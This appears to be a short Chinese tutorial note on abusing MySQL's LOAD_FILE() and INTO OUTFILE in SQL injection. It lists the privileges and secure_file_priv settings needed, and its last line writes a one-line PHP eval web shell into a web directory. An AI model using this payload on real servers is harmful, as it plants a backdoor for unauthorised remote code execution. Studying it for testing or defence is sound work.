mysql的两个函数:LOAD_FILE( )
,INTO OUTFILE( )
LOAD_FILE( )
作用:读取文件并返回文件内容。
前提条件:
➢知道文件绝对路径
➢当前连接数据库用户必须有FILE权限
➢可以使用UNION查询
查看secure_file_priv
参数的值:
1 | show global variables like 'secure_file_priv'; |
解决secure_file_priv的问题:
windows: 修改my.ini 在[mysqld]内加入secure_file_priv =
linux : 修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql,再查询secure_file_priv
secure-file-priv
参数是用来限制LOAD DATA
,SELECT ... OUTFILE
,and LOAD_FILE()
传到哪个指定目录的。secure_file_priv
的值为null ,表示限制mysqld 不允许导入/导出。当secure_file_priv
的值为/tmp/
,表示限制mysqld的导入/导出只能发生在/tmp/目录下。当secure_file_priv
的值没有具体值时,表示不对mysqld 的导入|导出做限制。
关于读文件的时候路径编码问题
这都成功了,编码后还不见结果就还搞不清楚了···
写了路径能看到结果,编码路径就不行,整句编码了还能显示查询语句的,
INTO OUTFILE
作用:此函数的作用是将查询结果写入到文件中。
前提条件:
➢写入的文件路径必须为绝对路径。
➢当前连接数据库用户必须有FILE权限。
➢没有对单引号进行转义或者过滤。
➢可以使用union查询
php的一句话木马:
1 | select 1,'<?php @eval($_post[123])>',3 into outfile 'D:/521/c.php'; |